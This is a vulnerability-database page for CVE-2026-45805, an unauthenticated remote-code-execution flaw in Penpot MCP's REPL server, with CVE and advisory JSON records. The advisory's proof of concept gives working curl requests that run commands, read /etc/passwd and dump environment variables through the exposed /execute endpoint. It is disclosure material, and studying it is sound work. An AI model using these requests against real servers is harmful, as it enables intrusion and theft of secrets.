Vulnerability-Lookup

CVE-2026-45805 (GCVE-0-2026-45805)

Vulnerability from cvelistv5 – Published: 2026-07-15 15:11 – Updated: 2026-07-15 15:44

Title

Penpot: MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE

Summary

Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP's mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0.

Severity

8.8 (High)


                        
                          CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-07-15 15:44 UTC

CWE

CWE-749 - Exposed Dangerous Method or Function

Assigner

GitHub_M mitre root

References

4 references

URL	Tags
https://github.com/penpot/penpot/security/advisor…	x_refsource_CONFIRM
https://github.com/penpot/penpot/issues/9518	x_refsource_MISC
https://github.com/penpot/penpot/commit/798ee46b4…	x_refsource_MISC
https://github.com/penpot/penpot/releases/tag/2.15.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
penpot	penpot	Affected: < 2.15.0	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-45805",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T15:44:07.480732Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-07-15T15:44:45.199Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "penpot",
          "vendor": "penpot",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.15.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP\u0027s mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "ADJACENT_NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 8.8,
            "baseSeverity": "HIGH",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-749",
              "description": "CWE-749: Exposed Dangerous Method or Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-07-15T15:11:22.168Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
        },
        {
          "name": "https://github.com/penpot/penpot/issues/9518",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/penpot/penpot/issues/9518"
        },
        {
          "name": "https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f"
        },
        {
          "name": "https://github.com/penpot/penpot/releases/tag/2.15.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/penpot/penpot/releases/tag/2.15.0"
        }
      ],
      "source": {
        "advisory": "GHSA-22qr-rp27-j9wm",
        "discovery": "UNKNOWN"
      },
      "title": "Penpot: MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint \u2014 RCE"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-45805",
    "datePublished": "2026-07-15T15:11:22.168Z",
    "dateReserved": "2026-05-13T08:19:32.604Z",
    "dateUpdated": "2026-07-15T15:44:45.199Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "epss": {
      "cve": "CVE-2026-45805",
      "date": "2026-09-21",
      "epss": "0.00379",
      "percentile": "0.31704"
    },
    "nvd": {
      "cve": {
        "affected": [
          {
            "affectedData": [
              {
                "product": "penpot",
                "vendor": "penpot",
                "versions": [
                  {
                    "status": "affected",
                    "version": "\u003c 2.15.0"
                  }
                ]
              }
            ],
            "source": "security-advisories@github.com"
          }
        ],
        "cveTags": [],
        "descriptions": [
          {
            "lang": "en",
            "value": "Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP\u0027s mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0."
          }
        ],
        "id": "CVE-2026-45805",
        "lastModified": "2026-07-15T18:15:13.373",
        "metrics": {
          "cvssMetricV31": [
            {
              "cvssData": {
                "attackComplexity": "LOW",
                "attackVector": "ADJACENT_NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              },
              "exploitabilityScore": 2.8,
              "impactScore": 5.9,
              "source": "security-advisories@github.com",
              "type": "Secondary"
            }
          ],
          "ssvcV203": [
            {
              "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "ssvcData": {
                "id": "CVE-2026-45805",
                "options": [
                  {
                    "exploitation": "poc"
                  },
                  {
                    "automatable": "no"
                  },
                  {
                    "technicalImpact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-07-15T15:44:07.480732Z",
                "version": "2.0.3"
              }
            }
          ]
        },
        "published": "2026-07-15T16:16:45.787",
        "references": [
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/penpot/penpot/issues/9518"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/penpot/penpot/releases/tag/2.15.0"
          },
          {
            "source": "security-advisories@github.com",
            "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
          },
          {
            "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
            "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
          }
        ],
        "sourceIdentifier": "security-advisories@github.com",
        "vulnStatus": "Deferred",
        "weaknesses": [
          {
            "description": [
              {
                "lang": "en",
                "value": "CWE-749"
              }
            ],
            "source": "security-advisories@github.com",
            "type": "Primary"
          }
        ]
      }
    },
    "vulnrichment": {
      "containers": {
        "adp": [
          {
            "metrics": [
              {
                "other": {
                  "content": {
                    "id": "CVE-2026-45805",
                    "options": [
                      {
                        "Exploitation": "poc"
                      },
                      {
                        "Automatable": "no"
                      },
                      {
                        "Technical Impact": "total"
                      }
                    ],
                    "role": "CISA Coordinator",
                    "timestamp": "2026-07-15T15:44:07.480732Z",
                    "version": "2.0.3"
                  },
                  "type": "ssvc"
                }
              }
            ],
            "providerMetadata": {
              "dateUpdated": "2026-07-15T15:44:37.105Z",
              "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
              "shortName": "CISA-ADP"
            },
            "references": [
              {
                "tags": [
                  "exploit"
                ],
                "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
              }
            ],
            "title": "CISA ADP Vulnrichment"
          }
        ],
        "cna": {
          "affected": [
            {
              "product": "penpot",
              "vendor": "penpot",
              "versions": [
                {
                  "status": "affected",
                  "version": "\u003c 2.15.0"
                }
              ]
            }
          ],
          "descriptions": [
            {
              "lang": "en",
              "value": "Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP\u0027s mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0."
            }
          ],
          "metrics": [
            {
              "cvssV3_1": {
                "attackComplexity": "LOW",
                "attackVector": "ADJACENT_NETWORK",
                "availabilityImpact": "HIGH",
                "baseScore": 8.8,
                "baseSeverity": "HIGH",
                "confidentialityImpact": "HIGH",
                "integrityImpact": "HIGH",
                "privilegesRequired": "NONE",
                "scope": "UNCHANGED",
                "userInteraction": "NONE",
                "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
                "version": "3.1"
              }
            }
          ],
          "problemTypes": [
            {
              "descriptions": [
                {
                  "cweId": "CWE-749",
                  "description": "CWE-749: Exposed Dangerous Method or Function",
                  "lang": "en",
                  "type": "CWE"
                }
              ]
            }
          ],
          "providerMetadata": {
            "dateUpdated": "2026-07-15T15:11:22.168Z",
            "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
            "shortName": "GitHub_M"
          },
          "references": [
            {
              "name": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm",
              "tags": [
                "x_refsource_CONFIRM"
              ],
              "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
            },
            {
              "name": "https://github.com/penpot/penpot/issues/9518",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/penpot/penpot/issues/9518"
            },
            {
              "name": "https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f"
            },
            {
              "name": "https://github.com/penpot/penpot/releases/tag/2.15.0",
              "tags": [
                "x_refsource_MISC"
              ],
              "url": "https://github.com/penpot/penpot/releases/tag/2.15.0"
            }
          ],
          "source": {
            "advisory": "GHSA-22qr-rp27-j9wm",
            "discovery": "UNKNOWN"
          },
          "title": "Penpot: MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint \u2014 RCE"
        }
      },
      "cveMetadata": {
        "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "assignerShortName": "GitHub_M",
        "cveId": "CVE-2026-45805",
        "datePublished": "2026-07-15T15:11:22.168Z",
        "dateReserved": "2026-05-13T08:19:32.604Z",
        "dateUpdated": "2026-07-15T15:44:45.199Z",
        "state": "PUBLISHED"
      },
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-45805

Vulnerability from fkie_nvd - Published: 2026-07-15 16:16 - Updated: 2026-07-15 18:15

Severity

8.8 (High) - CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f
	security-advisories@github.com	https://github.com/penpot/penpot/issues/9518
	security-advisories@github.com	https://github.com/penpot/penpot/releases/tag/2.15.0
	security-advisories@github.com	https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "penpot",
          "vendor": "penpot",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.15.0"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Penpot is an open-source design tool for design and code collaboration. Prior to 2.15.0, Penpot MCP\u0027s mcp/packages/server/src/ReplServer.ts bound the ReplServer to 0.0.0.0:4403 and exposed an unauthenticated /execute endpoint that passed the code field to PluginBridge.executePluginTask(), allowing anyone on the network to execute JavaScript on the server. This issue is fixed in version 2.15.0."
    }
  ],
  "id": "CVE-2026-45805",
  "lastModified": "2026-07-15T18:15:13.373",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "ADJACENT_NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-45805",
          "options": [
            {
              "exploitation": "poc"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-07-15T15:44:07.480732Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-07-15T16:16:45.787",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/penpot/penpot/commit/798ee46b4a84ee6dfc756b001f33acbe0280d62f"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/penpot/penpot/issues/9518"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/penpot/penpot/releases/tag/2.15.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Deferred",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-749"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

GHSA-22QR-RP27-J9WM

Vulnerability from github – Published: 2026-05-19 19:57 – Updated: 2026-05-19 19:57

Summary

PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint — RCE

Details

Summary

The MCP module's ReplServer binds to all interfaces (0.0.0.0:4403) and exposes a /execute endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main PenpotMcpServer was partially fixed for a similar binding issue (#8683), but ReplServer.ts was missed.

Details

mcp/packages/server/src/ReplServer.ts:89:

this.server = this.app.listen(this.port, () => {
    // NO HOST ARGUMENT — Express defaults to 0.0.0.0

Compare with PenpotMcpServer.ts:301 which correctly binds to this.host (default "localhost"):

this.app.listen(this.port, this.host, async () => {

The /execute endpoint at ReplServer.ts:52-79:

this.app.post("/execute", async (req, res) => {
    const { code } = req.body;
    // No auth check. Executes code via PluginBridge.executePluginTask()
    const task = new ExecuteCodePluginTask({ code });
    const result = await this.pluginBridge.executePluginTask(task);

No auth middleware, no token check, no nothing. POST JSON with a code field and it runs.

This was partially flagged in #8683 (March 2026), which noted that PenpotMcpServer.ts was binding to 0.0.0.0. PR #8686 attempted a fix but was closed without merging, and it only touched PenpotMcpServer.ts and vite.config.ts — ReplServer.ts wasn't in the diff. On current develop, ReplServer.ts line 89 still calls listen(this.port) with no host argument.

PoC

I ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.

$ node server.js
REPL server started on port 4403
Bound to: :::4403
All interfaces: YES

Unauthenticated code execution:

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"os\").hostname()"}'
{"success":true,"result":"kali"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"fs\").readFileSync(\"/etc/passwd\",\"utf8\").split(\"\\n\").slice(0,3).join(\"\\n\")"}'
{"success":true,"result":"root:x:0:0:root:/root:/usr/bin/zsh\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"require(\"child_process\").execSync(\"id\").toString()"}'
{"success":true,"result":"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\n"}

$ curl -s -X POST http://localhost:4403/execute \
    -H "Content-Type: application/json" \
    -d '{"code":"JSON.stringify(Object.keys(process.env).slice(0,5))"}'
{"success":true,"result":"[\"SHELL\",\"SESSION_MANAGER\",\"WINDOWID\",\"QT_ACCESSIBILITY\",\"COLORTERM\"]"}

Binding verification:

$ ss -tlnp | grep 4403
LISTEN  0  511  *:4403  *:*  users:(("node",pid=696955,fd=21))

Listening on *:4403 — all interfaces.

Remote access from Docker container:

$ docker exec penpot-backend curl -s http://172.18.0.1:4403/
REPL Server - Penpot MCP (no auth)

Reachable from any container on the Docker network.

Impact

Unauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn't part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.

Suggested fix

Two lines:

Add a host parameter to the listen call in ReplServer.ts:89:

this.server = this.app.listen(this.port, 'localhost', () => {

Add authentication to the /execute endpoint. Even a shared secret from an environment variable would be better than nothing.

Severity

8.8 (High)


                  
                    CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@penpot/mcp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.15.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45805"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-749"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T19:57:36Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe MCP module\u0027s `ReplServer` binds to all interfaces (`0.0.0.0:4403`) and exposes a `/execute` endpoint that runs arbitrary code with zero authentication. Anyone on the network can POST JavaScript and it runs on the server. The main `PenpotMcpServer` was partially fixed for a similar binding issue (#8683), but `ReplServer.ts` was missed.\n\n### Details\n\n`mcp/packages/server/src/ReplServer.ts:89`:\n\n```typescript\nthis.server = this.app.listen(this.port, () =\u003e {\n    // NO HOST ARGUMENT \u2014 Express defaults to 0.0.0.0\n```\n\nCompare with `PenpotMcpServer.ts:301` which correctly binds to `this.host` (default `\"localhost\"`):\n\n```typescript\nthis.app.listen(this.port, this.host, async () =\u003e {\n```\n\nThe `/execute` endpoint at `ReplServer.ts:52-79`:\n\n```typescript\nthis.app.post(\"/execute\", async (req, res) =\u003e {\n    const { code } = req.body;\n    // No auth check. Executes code via PluginBridge.executePluginTask()\n    const task = new ExecuteCodePluginTask({ code });\n    const result = await this.pluginBridge.executePluginTask(task);\n```\n\nNo auth middleware, no token check, no nothing. POST JSON with a `code` field and it runs.\n\nThis was partially flagged in #8683 (March 2026), which noted that `PenpotMcpServer.ts` was binding to `0.0.0.0`. PR #8686 attempted a fix but was closed without merging, and it only touched `PenpotMcpServer.ts` and `vite.config.ts` \u2014 `ReplServer.ts` wasn\u0027t in the diff. On current develop, `ReplServer.ts` line 89 still calls `listen(this.port)` with no host argument.\n\n### PoC\n\nI ran the ReplServer with Express (matching the actual dependency) and tested from localhost and from a Docker container on the same network.\n\n```bash\n$ node server.js\nREPL server started on port 4403\nBound to: :::4403\nAll interfaces: YES\n```\n\n**Unauthenticated code execution:**\n\n```bash\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"code\":\"require(\\\"os\\\").hostname()\"}\u0027\n{\"success\":true,\"result\":\"kali\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"code\":\"require(\\\"fs\\\").readFileSync(\\\"/etc/passwd\\\",\\\"utf8\\\").split(\\\"\\\\n\\\").slice(0,3).join(\\\"\\\\n\\\")\"}\u0027\n{\"success\":true,\"result\":\"root:x:0:0:root:/root:/usr/bin/zsh\\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"code\":\"require(\\\"child_process\\\").execSync(\\\"id\\\").toString()\"}\u0027\n{\"success\":true,\"result\":\"uid=1000(kali) gid=1000(kali) groups=1000(kali)...\\n\"}\n\n$ curl -s -X POST http://localhost:4403/execute \\\n    -H \"Content-Type: application/json\" \\\n    -d \u0027{\"code\":\"JSON.stringify(Object.keys(process.env).slice(0,5))\"}\u0027\n{\"success\":true,\"result\":\"[\\\"SHELL\\\",\\\"SESSION_MANAGER\\\",\\\"WINDOWID\\\",\\\"QT_ACCESSIBILITY\\\",\\\"COLORTERM\\\"]\"}\n```\n\n**Binding verification:**\n\n```\n$ ss -tlnp | grep 4403\nLISTEN  0  511  *:4403  *:*  users:((\"node\",pid=696955,fd=21))\n```\n\nListening on `*:4403` \u2014 all interfaces.\n\n**Remote access from Docker container:**\n\n```bash\n$ docker exec penpot-backend curl -s http://172.18.0.1:4403/\nREPL Server - Penpot MCP (no auth)\n```\n\nReachable from any container on the Docker network.\n\n### Impact\n\nUnauthenticated RCE on any machine running the MCP module. Read files, execute commands, dump environment variables (which often contain database credentials, API keys, secrets). The MCP module isn\u0027t part of the default Docker deployment, but developers and teams using the MCP integration for AI-assisted design work would run it locally. In shared development environments or CI/CD, the exposed port is reachable from the network.\n\n### Suggested fix\n\nTwo lines:\n\n1. Add a `host` parameter to the listen call in `ReplServer.ts:89`:\n```typescript\nthis.server = this.app.listen(this.port, \u0027localhost\u0027, () =\u003e {\n```\n\n2. Add authentication to the `/execute` endpoint. Even a shared secret from an environment variable would be better than nothing.",
  "id": "GHSA-22qr-rp27-j9wm",
  "modified": "2026-05-19T19:57:36Z",
  "published": "2026-05-19T19:57:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/penpot/penpot/security/advisories/GHSA-22qr-rp27-j9wm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/penpot/penpot"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PenPot MCP REPL server binds to 0.0.0.0 with unauthenticated /execute endpoint \u2014 RCE"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-45805 (GCVE-0-2026-45805)

FKIE_CVE-2026-45805

GHSA-22QR-RP27-J9WM

Summary

Details

PoC

Impact

Suggested fix

Tags

Sightings

Nomenclature

Related by attack behaviour